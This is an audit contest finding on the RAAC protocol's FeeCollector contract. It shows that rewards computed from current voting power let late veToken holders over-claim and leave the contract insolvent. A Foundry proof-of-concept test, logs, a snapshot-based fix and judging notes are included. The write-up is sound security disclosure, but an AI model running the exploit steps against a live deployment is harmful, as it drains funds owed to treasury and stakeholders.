Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Dynamic Voting Power Manipulation in `FeeCollector` Enables Excess Reward Claims and Protocol Insolvency

Summary

The FeeCollector contract's reward distribution mechanism calculates user rewards based on current voting power rather than voting power at distribution time. This allows new veToken holders to claim rewards from past distributions, leading to a situation where the total claimed rewards can exceed the total distributed amount. The issue directly impacts the protocol's fee distribution system and can drain funds allocated for the treasury and other protocol components.

Vulnerability Details

Vulnerability Details

The FeeCollector contract is responsible for distributing protocol fees to various stakeholders, including veToken holders, treasury, and repair fund. When fees are collected, they are distributed according to predefined shares (e.g., 70% to veToken holders, 20% to treasury, etc.).

The core issue lies in how the claimRewards function that calculates a user's share of veTokens distributed rewards:

// FeeCollector.sol
function claimRewards(address user) external override nonReentrant whenNotPaused returns (uint256) {
uint256 userPower = veRAACToken.getPower(user);
uint256 totalPower = veRAACToken.totalPower();
// Calculates rewards based on CURRENT voting power
uint256 rewards = (totalDistributed * userPower) / totalPower;
raacToken.safeTransfer(user, rewards);
return rewards;
}

The problem occurs because:

  1. The contract uses the current voting power ratio (userPower/totalPower) instead of the voting power at distribution time

  2. This ratio can be manipulated by users joining after the distribution

  3. There's no tracking of how much of totalDistributed has already been claimed

Here's a real example demonstrating the exploitation:

// Step 1: Initial State
- Protocol collects 2000 RAAC in fees , he has 1000 distributed and 1000 undistributed
- 700 RAAC (70%) allocated to veToken holders
- User1 has 1000 veRAACToken (100% of voting power)
- User1 claims 700 RAAC (their full share)
// Step 2: Manipulation
- User2 locks 10000 RAAC, getting 91% of total voting power
- Despite all 700 RAAC being claimed, User2 can still claim:
rewards = 700 * (10000/11000) = 636 RAAC
- this Raac is from the undistributed funds , that suppose to be for users who already was in the system and other fee collactors (such : treasury , repair fund )
// Result
Total Distributed: 700 RAAC
Total Claimed: 1336 RAAC (700 + 636)

POC :

Foundry Envirement Setup
  • i'm using foundry for test , to integrate foundry :
    run :

    npm install --save-dev @nomicfoundation/hardhat-foundry

    add this to hardhat.config.cjs :

    require("@nomicfoundation/hardhat-foundry");

    run :

    npx hardhat init-foundry
  • comment the test/unit/libraries/ReserveLibraryMock.sol as it's causing compiling errors

  • inside test folder , create new dir foundry and inside it , create new file baseTest.sol , and copy/paste this there :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "../../contracts/core/tokens/DebtToken.sol";
import "../../contracts/core/tokens/RAACToken.sol";
import "../../contracts/core/tokens/veRAACToken.sol";
import "../../contracts/core/tokens/RToken.sol";
import "../../contracts/core/tokens/DEToken.sol";
import "../../contracts/core/pools/LendingPool/LendingPool.sol";
import "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../../contracts/core/tokens/RAACNFT.sol";
import "../../contracts/core/primitives/RAACHousePrices.sol";
import "../../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../../contracts/core/collectors/FeeCollector.sol";
import "../../contracts/core/collectors/Treasury.sol";
import "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../../contracts/core/minters/RAACReleaseOrchestrator/RAACReleaseOrchestrator.sol";
contract baseTest is Test {
// Protocol contracts
crvUSDToken public crvUSD;
RAACToken public raacToken;
veRAACToken public veToken;
RAACHousePrices public housePrices;
RAACNFT public raacNFT;
RToken public rToken;
DebtToken public debtToken;
DEToken public deToken;
LendingPool public lendingPool;
StabilityPool public stabilityPool;
Treasury public treasury;
Treasury public repairFund;
FeeCollector public feeCollector;
RAACMinter public minter;
RAACReleaseOrchestrator public releaseOrchestrator;
// Test accounts
address public admin = makeAddr("admin");
address public user1 = makeAddr("user1");
address public user2 = makeAddr("user2");
address public user3 = makeAddr("user3");
// Constants
uint256 public constant INITIAL_MINT = 1000 ether;
uint256 public constant HOUSE_PRICE = 100 ether;
uint256 public constant INITIAL_PRIME_RATE = 0.1e27; // 10% in RAY
uint256 public constant TAX_RATE = 200; // 2% in basis points
uint256 public constant BURN_RATE = 50; // 0.5% in basis points
function setUp() public virtual {
vm.startPrank(admin);
// Deploy base tokens
crvUSD = new crvUSDToken(admin);
crvUSD.setMinter(admin);
raacToken = new RAACToken(admin, TAX_RATE, BURN_RATE);
veToken = new veRAACToken(address(raacToken));
releaseOrchestrator = new RAACReleaseOrchestrator(address(raacToken));
// Deploy mock oracle
housePrices = new RAACHousePrices(admin);
housePrices.setOracle(admin);
// Deploy NFT
raacNFT = new RAACNFT(address(crvUSD), address(housePrices), admin);
// Deploy pool tokens
rToken = new RToken("RToken", "RT", admin, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", admin);
deToken = new DEToken("DEToken", "DEToken", admin, address(rToken));
// Deploy core components
treasury = new Treasury(admin);
repairFund = new Treasury(admin);
feeCollector =
new FeeCollector(address(raacToken), address(veToken), address(treasury), address(repairFund), admin);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNFT),
address(housePrices),
INITIAL_PRIME_RATE
);
stabilityPool = new StabilityPool(admin);
minter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(treasury));
// Initialize contracts
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(veToken), true);
raacToken.manageWhitelist(admin, true);
raacToken.setMinter(admin);
raacToken.mint(user2, INITIAL_MINT);
raacToken.mint(user3, INITIAL_MINT);
raacToken.setMinter(address(minter));
bytes32 FEE_MANAGER_ROLE = feeCollector.FEE_MANAGER_ROLE();
bytes32 EMERGENCY_ROLE = feeCollector.EMERGENCY_ROLE();
bytes32 DISTRIBUTOR_ROLE = feeCollector.DISTRIBUTOR_ROLE();
feeCollector.grantRole(FEE_MANAGER_ROLE, admin);
feeCollector.grantRole(EMERGENCY_ROLE, admin);
feeCollector.grantRole(DISTRIBUTOR_ROLE, admin);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
raacToken.transferOwnership(address(minter));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(minter),
address(crvUSD),
address(lendingPool)
);
lendingPool.setStabilityPool(address(stabilityPool));
// Setup test environment
crvUSD.mint(user1, INITIAL_MINT);
crvUSD.mint(user2, INITIAL_MINT);
crvUSD.mint(user3, INITIAL_MINT);
housePrices.setHousePrice(1, HOUSE_PRICE);
vm.stopPrank();
}
// Helper functions
function mintCrvUSD(address to, uint256 amount) public {
vm.prank(admin);
crvUSD.mint(to, amount);
}
function setHousePrice(uint256 tokenId, uint256 price) public {
vm.prank(admin);
housePrices.setHousePrice(tokenId, price);
}
function calculateInterest(uint256 principal, uint256 rate, uint256 time) public pure returns (uint256) {
return principal * rate * time / 365 days / 1e27;
}
function warpAndAccrue(uint256 time) public {
vm.warp(block.timestamp + time);
lendingPool.updateState();
}
}
  • now create a pocs.sol inside test/foundry , and copy/paste this there :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "./baseTest.sol";
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockCurveVault is ERC4626 {
constructor(address _asset) ERC4626(ERC20(_asset)) ERC20("Mock Curve Vault", "mcrvUSD") {}
}
contract pocs is baseTest {
//poc here
}
function test_poc07() public {
uint256 duration = 365 days;
// Step 1: User1 deposits RAAC tokens to veRAACToken
vm.startPrank(address(minter));
raacToken.mint(user1, 1000 ether);
vm.stopPrank();
vm.startPrank(user1);
raacToken.approve(address(veToken), 1000 ether);
veToken.lock(1000 ether, duration);
vm.stopPrank();
// Step 2: Generate fees by minting RAAC tokens
vm.prank(address(minter));
raacToken.mint(admin, 10000 ether);
vm.startPrank(admin);
raacToken.approve(address(feeCollector), type(uint256).max);
// Step 3: Collect fees (80% goes to veRAACToken holders as per _initializeFeeTypes)
uint256 feeAmount = 1000 ether;
feeCollector.collectFee(feeAmount, 1); // type 1 is lending fees
feeCollector.distributeCollectedFees();
feeCollector.collectFee(feeAmount, 1); // type 1 is lending fees
vm.stopPrank();
// Cache the total amount distributed to veToken holders (80% of 1000 ether = 800 ether)
uint256 totalDistributedToVeTokens = feeCollector.totalDistributed();
// Step 5: User1 claims their rewards (should get all ether since they're the only holder)
vm.startPrank(user1);
uint256 user1Rewards = feeCollector.claimRewards(user1);
vm.stopPrank();
console.log("User1 claimed rewards:", user1Rewards / 1e18);
// Step 6: User2 deposits RAAC tokens to get veToken and dilute the voting power
vm.prank(address(minter));
raacToken.mint(user2, 10000 ether);
vm.startPrank(user2);
raacToken.approve(address(veToken), 10000 ether);
veToken.lock(10000 ether, duration);
vm.stopPrank();
// Step 7: User2 claims rewards from the same distribution
vm.prank(user2);
uint256 user2Rewards = feeCollector.claimRewards(user2);
console.log("User2 claimed rewards:", user2Rewards / 1e18);
// Show total claimed vs total distributed
uint256 totalClaimed = user1Rewards + user2Rewards;
console.log("Total distributed to veToken holders:", totalDistributedToVeTokens / 1e18);
console.log("Total claimed by users:", totalClaimed / 1e18);
// Verify that more rewards were claimed than distributed
assertGt(totalClaimed, totalDistributedToVeTokens, "Total claimed should exceed total distributed");
vm.startPrank(admin);
vm.expectRevert();
// now distributing rewards will revert because of veShares holders withdraws what should be distributed to
// other fee collectors (treasury ..ect)
feeCollector.distributeCollectedFees();
vm.stopPrank();
}
  • logs :

[PASS] test_poc07() (gas: 1077612)
Logs:
User1 claimed rewards: 700
User2 claimed rewards: 636
Total distributed to veToken holders: 700
Total claimed by users: 1336

Impact

This is a critical flaw because:

  1. It allows claiming more rewards than were actually distributed

  2. Each new user joining can claim from past distributions

  3. The excess claims drain funds meant for other protocol components (treasury, repair fund)

  4. Future distributions will fail when there aren't enough funds to cover these excess claims

Tools Used

  • Foundry

  • Manual Review

Recommendations

Implement a snapshot-based reward system that tracks voting power at distribution time:

contract FeeCollector {
+ struct Distribution {
+ uint256 timestamp;
+ uint256 amount;
+ uint256 totalPowerAtDistribution;
+ }
+
+ Distribution[] public distributions;
+ mapping(address => uint256) public lastClaimedIndex;
function distributeCollectedFees() external {
uint256 amount = calculateDistribution();
+ distributions.push(Distribution({
+ timestamp: block.timestamp,
+ amount: amount,
+ totalPowerAtDistribution: veRAACToken.totalPower()
+ }));
}
function claimRewards(address user) external returns (uint256) {
- uint256 rewards = (totalDistributed * veRAACToken.getPower(user)) / veRAACToken.totalPower();
+ uint256 rewards = 0;
+ uint256 userLastClaimed = lastClaimedIndex[user];
+
+ for (uint256 i = userLastClaimed; i < distributions.length; i++) {
+ Distribution memory dist = distributions[i];
+ uint256 userPowerAtDist = veRAACToken.getPowerAt(user, dist.timestamp);
+ rewards += (dist.amount * userPowerAtDist) / dist.totalPowerAtDistribution;
+ }
+
+ lastClaimedIndex[user] = distributions.length;
raacToken.safeTransfer(user, rewards);
return rewards;
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Time-Weighted Average Logic is Not Applied to Reward Distribution in `FeeCollector`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!